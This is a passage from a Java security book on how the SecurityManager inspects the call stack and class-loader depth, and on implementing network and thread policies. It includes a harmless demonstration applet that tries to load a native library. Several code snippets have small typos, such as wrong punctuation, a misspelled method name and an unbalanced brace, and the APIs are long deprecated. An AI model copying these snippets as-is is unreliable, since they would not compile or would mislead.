The policies you want to enforce determine how you use the information about these classes--just keep in mind that the first class you see is always your security manager class and the second class you see is normally some class of the Java API. This last case is not an absolute--it's perfectly legal, though rare, for any arbitrary class to call the security manager. And as we saw in Chapter 4, "The Security Manager Class", some methods are called by platform-specific classes that implement particular interfaces of the Java API (such as methods that implement the Toolkit class).

Also keep in mind that there may be several classes from the Java API returned in the class array--for example, when you construct a new thread, the Thread class calls the checkAccess() method; the classes returned from the getClassContext() method in that case are:

Class Definition

MySecurityManager
java.lang.Thread
java.lang.Thread
java.lang.Thread
java.lang.Thread
Test
Test

We get this output because the Thread class constructor calls three other internal methods before it calls the security manager. Our Test class has created a thread in an internal method as well, so the Test class also appears twice in the class array.

protected native ClassLoader currentClassLoader()

Search the array of classes returned from the getClassContext() method for the most recently called class that was loaded via a program-defined class loader, and return that class loader.

The objects in the class array returned from the getClassContext() method are generally used to inspect the class loader for each class--that's how the security manager can make a policy decision about classes that were loaded from disk versus classes that were loaded from the network (or elsewhere). The simplest test that we can make is to see if any of the classes involved in the current method invocation are loaded from the network, in which case we can deny the attempted operation. This is the method we use to do that.

To understand currentClassLoader(), we need to recall how the class loader works. The class loader first calls the findSystemClass() method, which attempts to find the class in the user's CLASSPATH (or system classpath in 1.2). If that call is unsuccessful, the class loader loads the class in a different manner (e.g., by loading the class over the network). As far as the Java virtual machine is concerned, the class loader associated with a class that was loaded via the findSystemClass() method is null. If an instance of the ClassLoader class defined the class (by calling the defineClass() method), then (and only then) does Java make an association between the class and the class loader. This association is made by storing a reference to the class loader within the class object itself; the getClassLoader() method of the Class object can be used to retrieve that reference.

Hence, the currentClassLoader() method is equivalent to:[2]

[2]The truth is that the currentClassLoader() method is written in native code, so we don't know how it actually is implemented, but it is functionally equivalent to the code shown. This is true about most of the methods of this section, which for efficiency reasons are written in native code.

Class Definition

protected ClassLoader currentClassLoader () {
    Class c[] = getClassContext();
    for (int i = 1; i < c.length; i++)
        if (c[i].getClassLoader () !=null)
            return c[i].getClassLoader ();
    return null;
}

We can use this method to disallow writing to a file by any class that was loaded via a class loader:

Class Definition

public void checkWrite(String s) {
    if (currentClassLoader() !=null)
        throw new SecurityException("checkWrite");
    }
}

With this version of checkWrite(), only the Java virtual machine can open a file for writing. When the Java virtual machine initializes, for example, it may create a thread for playing audio files. This thread will attempt to open the audio device on the machine by instantiating one of the standard Java API file classes. When the instance of this class is created, it (as expected) calls the checkWrite() method, but there is no class loader on the stack. The only methods that are involved in the thread opening the audio device are methods that were loaded by the Java virtual machine itself and hence have no class loader. Later, however, if an applet class tries to open up a file on the user's machine, the checkWrite() method is called again, and this time there is a class loader on the stack: the class loader that was used to load in the applet making the call to open the file. This second case will generate the security exception.

A number of convenience methods of the security manager class also relate to the current class loader:

protected boolean inClassLoader() figure

Test to see if there is a class loader on the stack:

Class Definition

protected boolean inClassLoader() {
    return currentClassLoader() != null;
}
protected Class currentLoadedClass() figure

Return the class on the stack that is associated with the current class loader:

Class Definition

protected Class currentLoadedClass() {
    Class c[] = getClassContext();
    for (int i = 0; i < c.length; i++)
    if (c[i].getClassLoader() != null)
            return c[i];
    return null;
}
protected native int classDepth(String name) figure

Return the index of the class array from the getClassContext() method where the named class is found:

Class Definition

protected int classDepth(String name) {
    Class c[] = getClassContext();
    for (int i = 0; i < c.length; i++)
        if (c[i].getName().equals(name))
            return i;
    return -1;
}
protected boolean inClass(String name) figure

Indicate whether the named class is anywhere on the stack:

Class Definition

protected boolean inClass (String name) {
    return classDepth (name) >= 0;
}

Many of these convenience methods revolve around the idea that an untrusted class may have called a method of a trusted class and that the trusted class should not be allowed to perform an operation that the untrusted class could not have performed directly. These methods allow you to write a Java application made up of trusted classes that itself downloads and runs untrusted classes. The HotJava browser is the best-known example of this sort of program. For example, the security manager of the HotJava browser does not allow an arbitrary applet to initiate a print job, but HotJava itself can.

HotJava initiates a print job when the user selects the "Print" item from one of the standard menus. Since the request comes from a class belonging to the HotJava application itself (that is, the callback method of the menu item), the browser is initiating the request (at least as far as the security manager is concerned). An applet initiates the request when it tries to create a print job.

In both cases, the getPrintJob() method of the Toolkit class calls the checkPrintJobAccess() method of the security manager. The security manager must then look at the classes on the stack and determine if the operation should succeed. If there is an untrusted (applet) class anywhere on the stack, the print request started with that class and should be rejected; otherwise, the print request originated from the HotJava classes and is allowed to proceed.

Note the similarity between this technique and the manner in which the access controller works. In Java 1.2, the HotJava classes belong to the system domain, so they are allowed to do anything; the classes that make up the applet, however, are prohibited from initiating the print job (unless, of course, an entry that enables printing for that applet's code source is in the policy file). This is why these methods have been deprecated in 1.2, where the access controller is the desired mechanism to provide this functionality.

6.1.1. The Class Loader Depth

The example that we just gave is typical of the majority of security checks the security manager makes. You can often make a decision on whether or not an operation should be allowed simply by knowing whether or not there is a class loader on the stack, since the presence of a class loader means that an untrusted class has initiated the operation in question.

There's a group of tricky exceptions to this rule, however, and those exceptions mean that you sometimes have to know the exact depth at which the class loader was found. Before we dive into those exceptions, we must emphasize: the use of the class loader depth is not pretty. Fortunately, beginning with Java 1.2, this method has been deprecated, and we need no longer concern ourselves with it. If you need to write a 1.1-compatible security manager, however, you need to use the information in this section.

The depth at which the class loader was found in the class context array can be determined by this method:

protected native int classLoaderDepth() figure

Return the index of the class array from the getClassContext() method where the current class loader is found:

Class Definition

protected int classLoaderDepth() {
Class c[] = getClassContext();
    for (int i = 0; i < c.length; i++) {
            if (c[i].getClassLoader() != null)
                return i;
    }
    return -1;
}

Let's look at this method in the context of the following applet:

Class Definition

public class DepthTest extends Applet {
    native void evilInterface();

    public void init() {
        doMath();
        infiltrate();
    }

    public void infiltrate() {
        try {
            System.loadLibrary("evilLibrary");
            evilInterface();
        } catch (Exception e) {}
    }

    public void doMath() {
        BigInteger bi = new BigInteger("100");
        bi = bi.add(new BigInteger("100"));
        System.out.println("answer is " + bi);
    }
}

Under normal circumstances, we would expect the doMath() method to inform us (rather inefficiently) that 100 plus 100 is 200. We would further expect the call to the infiltrate() method to generate a security exception, since an untrusted class is not normally allowed to link in a native library.

The security exception in this case is generated by the checkLink() method of the security manager. When the infiltrate() method calls the System.loadLibrary() method, the loadLibrary() method in turn calls the checkLink() method. If we were to retrieve the array of classes (via the getClassContext() method) that led to the call to the checkLink() method, we'd see the following classes on the stack:

Class Definition

MySecurityManager (the checkLink() method)
java.lang.Runtime (the loadLibrary() method)
java.lang.System  (the loadLibrary() method)
DepthTest         (the infiltrate() method)
DepthTest         (the init() method)
... other classes from the browser ...

Because the untrusted class DepthTest appears on the stack, we are tempted to reject the operation and throw a security exception.

Life is not quite that simple in this case. As it turns out, the BigInteger class contains its own native methods and hence depends on a platform-specific library to perform many of its operations. When the BigInteger class is loaded, its static initializer attempts to load the math library (by calling the System.loadLibrary() method), which is the library that contains the code to perform these native methods.

Because of the way in which Java loads classes, the BigInteger class is not loaded until it is actually needed--that is, until the doMath() method of the DepthTest class is called. If you recall our discussion from Chapter 3, "Java Class Loaders" regarding how the class loader works, you'll remember that when the doMath() method is called and needs access to the BigInteger class, the class loader that created the DepthTest class is asked to find that class (even though the BigInteger class is part of the Java API itself). Hence, the applet class loader (that is, the class loader that loaded the DepthTest class) is used to find the BigInteger class, which it does by calling the findSystemClass() method. When the findSystemClass() method loads the BigInteger class from disk, it runs the static initializers for that class, which call the System.loadLibrary() method to load in the math library.

The upshot of all this is that the System.loadLibrary() method calls the security manager to see if the program in question is allowed to link in the math library. This time, when the checkLink() method is called, the class array from the getClassContext() method looks like this:

Class Definition

MySecurityManager        (the checkLink() method)
java.lang.Runtime        (the loadLibrary() method)
java.lang.System         (the loadLibrary() method)
java.math.BigInteger     (the static intializer)
java.lang.ClassLoader    (the findSystemClass() method)
AppletLoader             (the loadClass() method)
java.lang.ClassLoader    (the loadClassInternal() method)
DepthTest                (the doMath() method)
DepthTest                (the init() method)
... various browser classes ...

As we would expect, the first three elements of this list are the same as the first three elements of the previous list--but after that, we see a radical difference in the list of classes on the stack. In both cases, the untrusted class (DepthTest) is on the stack, but in this second case, it is much further down the stack than it was in the first case. In this second case, the untrusted class indirectly caused the native library to be loaded; in the first case the untrusted class directly requested the native library to be loaded. That distinction is what drives the use of the classLoaderDepth() method.

So in this example, we need the checkLink() method to obtain the depth of the class loader (that is, the depth of the first untrusted class on the stack) and behave appropriately. If that depth is 3, the checkLink() method should throw an exception, but if that depth is 7, the checkLink() method should not throw an exception. There is nothing magical about a class depth of 7, however--that just happens to be the depth returned by the classLoaderDepth() method in our second example. A different example might well have produced a different number, depending on the classes involved.

Testing the Security Manager

If you want to know whether or not the security manager will permit a certain operation, you might be tempted to ask the security manager directly. If you want to know, for example, if you can change the state of a particular thread, you might be tempted to write this code:

Class Definition

SecurityManager sm = System.getSecurityManager();
boolean canModify = true;
if (sm != null) {
    try {
        sm.checkAccess(myThread);
    } catch (SecurityException se) {
        canModify = false;
    }
}

Sometimes this procedure works, and sometimes it doesn't. The methods of the security manager that depend on the depth of the class loader usually test for a specific value. In the code fragment above, the depth of the class loader is 1--which is a depth that most security managers will not complain about, so the canModify variable is set to true. When an actual operation on the thread is attempted, however, the depth of the class loader will be different, and the security manager will reacts differently.

Hence, the only certain way to know if the security manager will prohibit an operation is to attempt that operation and see if a security exception is thrown.

There is, however, something special about a class depth of 3 in this example: a class depth of 3 always means that the untrusted class called the System.loadLibrary() method, which called the Runtime.loadLibrary() method, which called the security manager's checkLink() method.[3] Hence, when there is a class depth of 3, it means that the untrusted class has directly attempted to load the library. When the class depth is greater than 3, the untrusted class has indirectly caused the library to be loaded. When the class depth is 2, the untrusted class has directly called the Runtime.loadLibrary() method--which is to say again that the untrusted class has directly attempted to load the library. When there is a class depth of 1, the untrusted class has directly called the checkLink() method--which is possible, but that is a meaningless operation. So in this case, a class depth that is 3 or less (but greater than -1, which means that no untrusted class is on the stack) indicates that the call came directly from an untrusted class and should be handled appropriately (usually meaning that a security exception should be thrown).

[3]Theoretically, it could also mean that an untrusted class has called a trusted class that has called the Runtime.loadLibrary() method directly. However, the Java API never bypasses the System.loadLibrary() method, so that will not happen in practice. If you expect trusted classes in your Java application to work under the scenario we're discussing here, you must also follow that rule.

But while 3 is a magic number for the checkLink() method, it is not necessarily a magic number for all other methods. In general, for most methods the magic number that indicates that an untrusted class directly attempted an operation is 2: the untrusted class calls the Java API, which calls the security manager. Other classes have other constraints on them that change what their target number should be.

The class depth is therefore a tricky thing: there is no general rule about the allowable class depth for an untrusted class. Worse, there's no assurance that the allowable class depth may not change between releases of the JDK--the JDK could conceivably change its internal algorithm for a particular operation to add another method call, which would increase the allowable class depth by 1. This is one reason why the class depth is such a bad idea: it requires an intimate knowledge of all the trusted classes in the API in order to pick an appropriate class depth. Worse, a developer may introduce a new method into a call stack and completely change the class depth for a sensitive operation without realizing the effect this will have on the security manager.

Nonetheless, in order for certain classes of the Java API to work correctly, you need to put the correct information into your 1.1-based security manager (such as in the checkLink() method that we just examined). The methods that need such treatment are summarized in Table 6-2.

Table 6-2. Methods of the SecurityManager Class Affected by the Depth of the Class Loader

Method

Depth to Avoid

Remarks

Class Definition

checkCreateClassLoader()

2

Java beans create a

SystemClassLoader

Class Definition

checkPropertiesAccess()

2

Java API calls

System.getProperties()

Class Definition

checkPropertyAccess()

2

Java API gets many properties

Class Definition

checkAccess(Thread t)

3

Java API manipulates its own threads

Class Definition

checkAccess(ThreadGroup tg)

(sometimes 4)

Java API manipulates its own thread groups

Class Definition

checkLink()

2 or 3

Java API loads many libraries

Class Definition

checkMemberAccess()

3

Java API uses method reflection

Class Definition

checkExec()

2

Toolkit implementations of getPrintJob() may execute a print command

Class Definition

checkExit()

2

The application may call exit

Class Definition

checkWrite()

2

Toolkit implementations may create temporary files; the Java API needs to write to audio and other device files

Class Definition

checkDelete()

2

Toolkit implementations may need to delete temporary files

Class Definition

checkRead()

2

Java API needs to read property files

Class Definition

checkTopLevelWindow()

3

Trusted classes may need pop-up windows

In all cases in Table 6-2, the Java API depends on being allowed to perform an operation that would normally be rejected if an untrusted class performed it directly. The JavaBeans classes, for example, create a class loader (an instance of SystemClassLoader) in order to abstract the primordial class loader. So if an untrusted class creates a Java bean, that Java bean must in turn be allowed to create a class loader, or the bean itself won't work.

Note that not every target depth in this table is 2. In the case of the Thread and ThreadGroup classes, operations that affect the state of the thread call the checkAccess() method of the Thread or ThreadGroup class itself, which in turn calls the checkAccess() method of the SecurityManager class. This extra method call results in an extra method on the stack and effectively increases the target depth by 1. Similarly, the checkTopLevelWindow() method is called from the constructor of the Window class, which in turn is called from the constructor of the Frame class, resulting in a target depth of 3.

Remember that this table only summarizes the methods of the security manager where the actual depth of the class loader matters to the core Java API. If you're writing your own application, you need to consider whether or not your application classes want to perform certain operations. If you want classes in your application to be able to initiate a print job, for example, and you don't want untrusted classes that your application loads to initiate a print job, you'll want to put a depth check of 2 into the checkPrintJobAccess() method. In general, for methods that aren't listed in the above table, a depth of 2 is appropriate if you want your application classes (i.e., classes from the CLASSPATH) to be able to perform those operations.

There is once again a nice similarity between these ideas and the access controller. When you call the doPrivileged() method of the access controller, you're achieving the same thing a security manager achieves by testing the class depth. The point to remember about the class depth is that it allows the security manager to grant more permissions to a class than it would normally have--just like the doPrivileged() method grants its permissions to all protection domains that have previously been pushed onto the stack. Of course, the access controller is a much smarter way to go about this, since it doesn't depend upon someone getting the class depth right; it only depends upon the actual characteristics of the stack during execution of the program.

6.1.2. Protected Instance Variables in the Security Manager

There is a single protected instance variable in the security manager class, and that is the inCheck instance variable:

protected boolean inCheck figure

Indicate whether a check by the security manager is in progress.

The value of this variable can be obtained from the following method:

public boolean getInCheck() figure

Return the value of the inCheck instance variable.

Since there is no corresponding public method to set this variable, it is up to the security manager itself to set inCheck appropriately.[4]

[4]Don't get all excited and think that your untrusted class can use this method to see when the security manager is working. As we'll see, it's only set by the security manager in a rare case, and even if it were set consistently, there's no practical way for your untrusted class to examine the variable during the short period of time it is set.

This variable has a single use: it must be set by the security manager before the security manager calls most methods of the InetAddress class. The reason for this is to prevent an infinite recursion between the security manager and the InetAddress class. This recursion is possible under the following circumstances.

  1. An untrusted class attempts to open a socket to a particular host (e.g., sun.com). The expectation is that if the untrusted class was loaded from sun.com that the operation will succeed; otherwise, the operation will fail.

  2. Opening the socket results in a call to the checkConnect() method, which must determine if the two hosts in question are the same. In the case of a class loaded from sun.com that is attempting to connect to sun.com, a simple string comparison is sufficient. If the names are the same, the checkConnect() method can simply return immediately. In fact, this is the only logic performed by some browsers--if the names do not literally match, the operation is denied immediately.

  3. A complication arises if the two names do not match directly, but may still be the same host. My machine has a fully qualified name of piccolo.East.Sun.COM; browsers on my local area network can access my machine's web server as piccolo, piccolo.East, or piccolo.East.Sun.COM. If the untrusted class is loaded from a URL that contained only the string piccolo, and the class attempts to open a socket to piccolo.East, we may want that operation to succeed even though the names of the hosts are not equal.

    Hence, the checkConnect() method must retrieve the IP address for both names, and compare those IP addresses.

  4. To retrieve the IP address for a particular host, the checkConnect() method must call the InetAddress.getByName() method, which converts a string to an IP address.

  5. The getByName() method will not blithely convert a hostname to an IP address--it will only do so if the program in question is normally allowed to make a socket connection to that host. Otherwise, an untrusted class could be downloaded into your corporate network and determine all the IP addresses that are available on the network behind your firewall. So the getByName() method needs to call the checkConnect() method in order to ensure that the program is allowed to retrieve the information that is being requested.

We see the problem here: the getByName() method keeps calling the checkConnect() method, which in turn keeps calling the getByName() method. In order to prevent this recursion, the checkConnect() method is responsible for setting the inCheck instance variable to true before it starts and then setting it to false when it is finished. Similarly, the getByName() method is responsible for examining this variable (via the return from the getInCheck() method); it does not call the checkConnect() method if a security check is already in progress.

There may be other variations in this cooperation between the security manager and the InetAddress class--other methods of the InetAddress class also use the information from the getInCheck() method to determine whether or not to call the checkConnect() method. But this is the only class where this information is used directly. You can set the inCheck method within other methods of your security manager, but there is no point in doing so.

In 1.2, this variable and method are deprecated. The correct operation to perform in a 1.2-based security manager is to place the calls to the InetAddress in a class that can be used by the doPrivileged() method. In addition, the InetAddress class in 1.2 no longer calls the getInCheck() method.

If you implement a checkConnect() method that calls the InetAddress class and sets the inCheck variable, you must make the checkConnect() method and the getInCheck() methods synchronized. This prevents another thread from directly looking up an IP address at the same time that the security manager has told the InetAddress class not to call the checkConnect() method.

Previous | Home | Next
5.7. Summary | Book Index | 6.2. Security Managers and the Class Loader
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security Managers and the Class Loader (Java Security)

 Java Security Search this book

6.2. Security Managers and the Class Loader

In addition to the methods of the security manager class that we just examined, a second way by which the security manager can enforce policies is to ask that the class loader for a particular class provide more information on which the security manager may base its decision. This technique requires a coordination between the security manager and the class loader; there is no standard interface by which this information may be obtained (nor is there a limit to the type of information that may be exchanged). The details of the interface are completely at the discretion of the application developer. This technique is useful for both 1.1-based and (to a lesser extent) 1.2-based security managers.

In the last section, we showed an example of the checkWrite() method that threw a security exception only if there was a class loader on the stack; this effectively prevented any class that was loaded from the network from opening a file in order to write to it. A more sophisticated policy would be to allow certain classes loaded over the network to write files, but not other classes. If you recall our example from Chapter 3, "Java Class Loaders", XYZ Corporation is using a customized class loader that allows their applications to read classes both from the web server on which the application is hosted and from the centralized administration server. XYZ Corporation might want to establish a security policy whereby classes that are loaded from the administration server can write local files, but other classes cannot. This sort of policy requires some cooperation between the security manager and the class loader--the security manager must ask the class loader for the host the class was loaded from:

Class Definition

public void checkWrite(String s) {
    ClassLoader cl = currentClassLoader();
    if (cl != null) {
        MultiLoader ml = null;
        try {
            ml = (MultiLoader) cl;
        } catch (ClassCastException cce) {
            // This can't happen unless our class loader and our
            // security manager are out of sync
            throw new SecurityException("checkWrite out of sync");
        }
        if (!ml.getTrust(currentLoadedClass()))
            throw new SecurityException("checkWrite");
    }
}

This example only works with a class loader we have defined, since we need a method called getTrust() in the class loader to let us know the origin of the class. That getTrust() method might look like this:

Class Definition

public class MultiLoader extends SecureClassLoader {
    ...
    boolean getTrust(Class c) {
        String name = c.getName();
        if (supportClassesCache.get(name))
            return true;
        return false;
    }
}

Hence, we cast the class loader returned from getClassLoader() to be an instance of MultiLoader. It's easy to keep the class loader and the security manager in sync because the application must install both of them, but it always pays to be sure. We use this class loader to check whether the particular class is to be trusted; the class loader thinks classes that have been loaded from XYZ's support machine are trusted and other classes are not. Note that if you are going to use this technique in 1.2 that it is quite possible the class loader will not be your multi loader--it might be one of the internal class loaders that is used to load extension or API classes. In that case, instead of throwing a security exception when the class cast fails, you should simply call the super.checkWrite() method, which will do the correct thing in 1.2.

This sort of cooperation can be used between the class loader and the security manager to support a variety of requirements--providing different access to classes from different domains, or from different protocols, or anything else the class loader knows about. It just requires that the security manager know about any special interfaces the class loader might have to support these features.

6.2.1. The Class Loader and the Security Manager

The relationship between the security manager and class loader goes both ways--not only is the class loader able to provide additional information about particular classes to the security manager, the class loader is also responsible for calling the security manager to see if particular classes are able to be loaded or defined. We showed the code a class loader uses to do this in Chapter 3, "Java Class Loaders".

When a class loader is asked to load a class, it must call the checkPackageAccess() method of the security manager so that the security manager can prevent certain classes from being loaded. This is chiefly used to prevent untrusted classes from directly accessing implementation-specific classes. If you ship an application with a set of classes in the com.XYZ package, you can ensure that untrusted classes do not directly call classes in that package by placing the appropriate logic into the checkPackageAccess() method. Java-enabled browsers typically do just that; for example, an applet cannot call any of the classes in the sun package within the HotJava browser.

Additionally, when a class loader is asked to define a class, it must call the checkPackageDefinition() method of the security manager so that the security manager can prevent an untrusted class from defining classes in a particular package. This should be used, for example, to prevent an untrusted class from loading a new class into the java.lang package. Otherwise, an untrusted class could create a class named java.lang.Foo that has access to all the default-protected methods and instance variables of the other classes within the java.lang package.

Previous | Home | Next
6.1. Protected Methods of the Security Manager | Book Index | 6.3. Implementation Techniques
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementation Techniques (Java Security)

 Java Security Search this book

6.3. Implementation Techniques

We'll now turn our attention to implementing security policies. Our goal is to show how to write a security manager--one that can be used in conjunction with the access controller, and one that can stand alone. We'll plug these security managers into our JavaRunner program, and we'll also discuss the implementation of the security manager that comes with the Launcher and how that security manager may be installed.

6.3.1. Utility Classes

In order to make our implementation of the security manger a bit easier, we'll provide a few utility classes.

As we intimated above, there are many times when we want to reject an operation if there is any untrusted class on the stack. In order to simplify this operation, we define this method:

Class Definition

    private void checkClassLoader(String ask, String ex) {
        // Use the ask string to prompt the user if the operation
        // should succeed
        if (inClassLoader()) {
            throw new SecurityException(ex);
        }
    }

We've passed a string to this method that allows us to ask the user if the operation in question should be permitted; for example, the application could pop up a dialog window and give the user the opportunity to accept the operation. Whether or not that ability is a good idea is open to debate; we've left it to the reader to provide the logic to implement that feature (if desired).

There are a number of tests we want our security manager to reject if they are attempted directly by an untrusted class, but should succeed if they are attempted indirectly by an untrusted class. For these tests in Java 1.1, we have to rely on the class depth to tell us whether the call originated from an untrusted class or not. We use this method to help us with that task:

Class Definition

private void checkClassDepth(int depth, String ask, String ex) {
    int clDepth = classLoaderDepth();
    if (clDepth > 0 && clDepth <= depth + 1) {
        throw new SecurityException(ex);
    }
}

Note that we have to add 1 to the class depth for this method to succeed, since calling this method has pushed another method frame onto the stack.

6.3.2. Implementing Network Access

Regardless of the release on which your security manager is based, you typically must write the necessary methods to handle network access, because the default methods of the security manager are usually inadequate. In 1.1, the default behavior for the checkConnect() method is to throw a security violation.

In 1.2, the default behavior for the checkConnect() method is to use the access controller to see if the appropriate entry is in the policy file. This is very useful in some circumstances: we can, for example, specify that all code loaded from network.xyz.com can access any other machine in the xyz.com domain, but no other machines. But we cannot set up a general rule for the mode of network access we're most accustomed to. We cannot set up a rule saying that code loaded from a particular machine can only make a network connection back to that machine. The problem lies in the fact that we cannot pattern match entries in the policy file; we cannot say something like:

Class Definition

grant codeBase http://%template/ {
        permission java.net.SocketPermission "%template", "connect";
};

So if we want to implement a security policy where code can only make a connection back to the host from which it was loaded, we must provide a new implementation of the checkConnect() method:

Class Definition

private ClassLoader getNonSystemClassLoader() {
    Class c[] = getClassContext();
    ClassLoader sys = ClassLoader.getSystemClassLoader();
    for (int i = 1; i < c.length; i++) {
        ClassLoader cl = c[i].getClassLoader();
        if (cl != null && !cl.equals(sys))
             return cl:
    }
    return null
}

public void checkConnect(String host, int port) {
    try {
        super.checkConnect(host, port);
        return;
    } catch (AccessControlException ace) {
        // continue
    }

    //In 1.1, use currentClassLoader() instead
    ClassLoader loader = getNonSystemClassLoader();
    String remoteHost;

    if (loader == null)
        return;
    if (!(loader instanceof JavaRunnerLoader))
        throw new SecurityException("Class loader out of sync");
    JavaRunnerLoader cl = (JavaRunnerLoader) loader;
    remoteHost = cl.getHost();

    if (host.equals(remoteHost))
        return;

    try {
        class testHost implements PrivilegedExceptionAction {
            String local, remote;
            testHost(String local, String remote) {
                this.local = local;
                this.remote = remote;
            }
            public Object run() throws UnknownHostException {
                InetAddress hostAddr = InetAddress.getByname(local);
                InetAddress remoteAddr = InetAddress.getByName(remote);
                if (hostAddr.equals(remoteAddr))
                    return new Boolean("true");
                return new Boolean("false");
            }
        }
        testHost th = new testHost(host, remoteHost);
        Boolean b = (Boolean) AccessController.doPrivileged(th);
        if (b.booleanValue())
            return;
    } catch (PrivilegedActionException pae) {
    //Must be an UnknownHostException; continue and throw exception
    }

    throw new SecurityException(
                "Can't connect from " + remoteHost + " to " + host);
}

First, we check our superclass to see if it allows the connection. This is only appropriate for 1.2-based security managers--calling the superclass checks the policy file to see if the connection should be made according to information in that file. If that's true, then we simply want to return: the check should succeed. Otherwise, we continue so we can make sure the destination machine is the same machine we loaded this particular class from. For 1.1, this test must be omitted; the superclass in 1.1 would immediately throw an exception.

If there is no class loader on the stack, we want to permit access to any host, so we simply return. Otherwise, we obtain the hostname the untrusted class was loaded from (via the getHost() method of the class loader) and compare that to the hostname the untrusted class is attempting to contact. If the strings are equal, we're all set and can return. Otherwise, we implement the logic we described earlier by obtaining the IP address for each hostname and comparing the two IP addresses.

Note that the logic here for allowing the InetAddress class to resolve the hostname to an IP address is based on the access controller. For a 1.1-based security manager, you would set the inCheck variable to true, execute the calls that are in the run() method of the testHost class, and then set inCheck to false. You would also need to synchronize this method and the getInCheck() methods.

This implementation requires yet another change to the class loader we're using. The class loader must now be able to provide us with the name of the host from which a particular class was loaded. Since our class loader is based on a URL, that's an easy method to implement: we simply return the host of the URL:

Class Definition

public class JavaRunnerLoader extends SecureClassLoader {
    URL urlBase;
    ... other code from previous examples ...
    String getHost() {
        return urlBase.getHost();
    }
}

If you choose to implement a different network security model for your checkConnect() method, there are a few things that you should be aware of:

  • The checkConnect() method is frequently called with a port of -1. That usage comes primarily from the methods of the InetAddress class; in order to resolve the name of a machine, you must be able to make a connection to that machine. So if you want to restrict a connection to the privileged ports on your machine (those less than 1024), make sure you test to see that the port is between and 1023, rather than simply less than 1024.

  • The host argument passed to the checkConnect() method is frequently an IP address rather than a symbolic hostname. This is an artifact of the way in which the default socket implementation (that is, the PlainSocketImpl class) operates: this class actually generates two calls to the checkConnect() method. The first call contains the actual hostname and a port number of -1 (because the PlainSocketImpl class has called the InetAddress.getByName() method), and the second call contains the IP address and the actual port number.

  • If you choose to disallow all network access by untrusted classes and you are using a network-based class loader to load classes, you cannot simply write a checkConnect() method that calls the inClassLoader() method and throws an exception if it returns true. The class loader must be allowed to open a socket in order to retrieve additional classes that are referenced by the untrusted class, and such a request will contain the untrusted class on the stack when the call is made. In Java 1.1, you can use the inClass() method to see if the class loader is attempting to open the socket, in which case you should let the operation succeed. In Java 1.2, you can use the doPrivileged() method of the access controller from within the class loader to attempt to open the URL.

  • There is another checkConnect() method that accepts as arguments the hostname, the port number, and an arbitrary object (a context). Like the similar checkRead() method, this version of the checkConnect() method is never called by the Java API, so the easiest route to take is not to implement it at all. The type of information you might choose to encode within the context could be, for example, the hostname that was retrieved from the current class loader. However, since the security manager is responsible for obtaining the context in the first place, there's no reason why that information cannot be used directly rather than calling this second checkConnect() method.

You may want to implement a similar policy in the checkAccept() method so that a class can only accept a connection from the host from which it was loaded. Since we've just implemented that logic in the checkConnect() method, the easiest way to implement this method is:

Class Definition

public void checkAccept(String host, int port) {
    try {
        super.checkAccept(host, port);
        return;
    } catch (AccessControlException ace) {
        // continue
    }
    checkConnect(host, port);
}

6.3.3. Network Permissions in the Class Loader

In Java 1.2, there is another way to achieve the network permissions we just outlined. Instead of overriding the checkConnect() method of the security manager, we can arrange for the protection domain of each class to carry with it the permission to open a socket to the host it was loaded from. We can add this permission without regard to the permissions that might be in the policy file.

This implementation requires us to override the getPermissions() method of the SecureClassLoader class as follows:

Class Definition

protected PermissionCollection getPermissions(CodeSource cs) {
    if (!cs.equals(this.cs))
            return null;
    Policy pol = Policy.getPolicy();
    PermissionCollection pc = pol.getPermissions(cs);
    pc.add(new SocketPermission(urlBase.getHost(), "connect");
    return pc;
}

As long as we use the correct code source to define the class, when the class loader resolves its permissions the appropriate socket permission will be added to the user-defined set of permissions.

6.3.4. Implementing Thread Security

Implementing a model of thread security requires that you implement the checkAccess() methods as well as implementing the getThreadGroup() method. In 1.1, the checkAccess() methods by default throw a security exception. In 1.2, the default behavior of the security manager is to allow the checkAccess() method to succeed unless the target thread is a member of the system thread group or the target thread group is the system thread group. In those cases, the program must have been granted a runtime permission of modifyThread or modifyThreadGroup (depending on which checkAccess() method is involved) for the operation to succeed. Hence, any thread can modify any thread or thread group except for those belonging to the system thread group. Both releases return the thread group of the calling thread for the getThreadGroup() method.

We'll show an example that implements a hierarchical notion of thread permissions which fits well within the notion of the virtual machine's thread hierarchy (see Figure 6-1). In this model, a thread can manipulate any thread that appears within its thread group or within a thread group that is descended from its thread group. In the example, Program #1 has created two thread groups. The Calc thread can manipulate itself, the I/O thread, and any thread in the Program #1 thread groups; it cannot manipulate any threads in the system thread group or in Program #2's thread group. Similarly, threads within Program #1's thread subgroup #1 can only manipulate threads within that group.

Figure 6-1. A Java thread hierarchy

This is a different security model than that which is implemented by the JDK's appletviewer and by some browsers in 1.1. In those models, any thread in any thread group of the applet can modify any other thread in any other thread group of the applet, but threads in one applet are still prevented from modifying threads in another applet or from modifying the system threads. But the model we'll describe fits the thread hierarchy a little better.

Note that this security model doesn't fit well within the idea of thread permissions and protection domains. An entry in the policy file granting permission to manipulate threads to the classes from which Program #1 is loaded will thus grant Program #1 permission to manipulate any threads in the virtual machine. The 1.2 default security manager checks for the modifyThread and modifyThreadGroup permissions as described above.

The key to our model of thread security depends on the getThreadGroup() method. We can use this method to ensure that each class loader creates its threads in a new thread group as follows:

  • If the program attempts to create a thread in a particular thread group, the checkAccess() method can throw a security exception if the thread group in question is not a descendant of the thread group that belongs to the class loader.

  • If the program attempts to create a thread without specifying the thread group to which it should belong, we can arrange for the getThreadGroup() method to return the class loader's default thread group. This works because the constructors of the thread class call the getThreadGroup() method directly to obtain the thread group to which a thread should belong.

The simplest way to implement getThreadGroup() is to create a new thread group for each instance of a class loader. In a browser-type program, this does not necessarily create a new thread group for each applet, because the same instance of a class loader might load two or more different applets if those applets share the same codebase. If we adopt this approach, those different applets will share the same default thread group. This might be considered a feature. It is also the approach we'll show; the necessary code to put different programs loaded by the same class loader into different thread groups is a straightforward extension.

Our getThreadGroup() method, then, looks like this:

Class Definition

public ThreadGroup getThreadGroup() {
    ClassLoader loader = currentClassLoader();
    if (loader == null || !(loader instanceof JavaRunnerLoader))
        return super.getThreadGroup();
    JavaRunnerLoader cl = (JavaRunnerLoader) loader;
    return cl.getThreadGroup();
}

We want each instance of a class loader to provide a different thread group. The simplest way to implement this logic is to defer to the class loader to provide the thread group. If there is no class loader, we'll use the thread group our superclass recommends (which, if we've directly extended the SecurityManager class, will be the thread group of the calling thread).

